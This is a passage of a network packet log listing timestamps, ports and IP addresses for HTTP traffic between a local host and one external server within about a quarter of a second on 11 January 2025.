Jan 11, 2025 01:39:59.004436016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004446030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004453897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004457951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004466057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004466057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004470110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004482031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004487038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004496098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004509926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004524946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.005182028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.005204916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.005218029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.005233049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.005264044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.012777090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012792110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012803078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012851000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.012881994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012893915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012906075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012948036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012959003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012969971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.012979984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.013003111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.013003111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.063425064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.063446999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.063460112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.063580036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090181112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090212107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090224981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090282917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090295076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090307951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090320110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090325117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090389013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090488911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090501070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090512991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090524912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090536118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090559959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090687990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090698957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090713024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090724945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090724945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090769053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090830088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090878010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090897083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090918064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090938091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.090960979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090971947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.090985060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091005087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091147900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091161013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091192007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091248035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091259956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091272116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091284990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091300011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091319084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091325045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091332912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091344118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091500998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091547012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091562986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091578007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091587067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091589928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091614962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091631889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091861963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091872931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091885090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091896057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.091921091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.091948032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123363972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123390913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123406887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123418093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123430967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123441935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123456955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123470068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123481035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123492002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123493910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123505116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123517036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123528957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123539925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123550892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123563051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123577118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123589993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123639107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123770952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123786926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123799086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123810053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123822927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123825073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123833895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123845100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.123847961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123872995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.123888016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124082088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124093056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124105930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124150038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124267101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124284983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124296904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124305010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124309063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124320984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124331951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124332905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124346018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124356985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124356031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124370098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124381065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124381065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124419928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124757051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124802113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124804974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124815941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124829054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124840021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.124865055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.124886990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.132086039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.144426107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.158209085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.158229113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.158241034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.158309937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179037094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179054022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179079056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179090977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179104090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179120064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179142952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179151058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179177046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179188013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179198980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179199934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179218054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179239988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179363012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179400921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179444075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179497004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179510117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179526091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179537058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179605007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179605007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179641962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179655075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179666042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179692030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179718971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179733992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179745913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179757118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179766893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179779053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.179785967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.179816961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180051088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180063009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180108070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180138111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180150986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180164099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180192947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180193901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180206060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180212975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180222988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180234909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180244923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180253029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180295944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180538893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180552959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180563927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180589914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180593967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180602074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180613995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180618048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180633068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180634022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180646896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180659056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180670977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.180685043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.180716038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.193069935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.196824074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.210640907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210669041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210681915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210694075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210705042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210778952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.210803032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210822105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210825920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.210834026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210844994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210856915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.210866928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.210899115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211342096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211360931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211375952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211390018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211385012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211401939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211411953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211432934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211437941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211443901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211458921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211483002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211484909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211524010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211618900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211765051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211776972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211787939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211802959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211812973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211817980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.211842060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211858034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.211885929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212050915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212063074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212068081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212078094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212090015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.212105036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.212148905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213279009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213293076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213304996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213316917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213335991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213346958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213349104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213366985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213377953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213391066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213391066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213402033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213408947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213413000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213433027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213639975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213655949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213668108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213676929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213679075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213690996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213701963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213701963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213718891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213725090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.213727951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.213778973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.216587067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.216629028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.216639042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.216640949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.216650009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.216661930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.216674089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.216696978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.241575956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.241594076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.241605997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.241729975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267421961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267451048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267463923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267502069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267513037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267524958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267540932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267605066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267616034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267617941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267627954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267641068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267668962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267704964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267716885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267728090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267739058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267769098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267791986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267795086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267824888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267837048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267848015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267858982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267885923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.267903090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.267997980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268030882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268042088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268050909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268069029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268079996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268088102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268115997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268140078 CET	80	49710	193.143.1.205	192.168.2.6
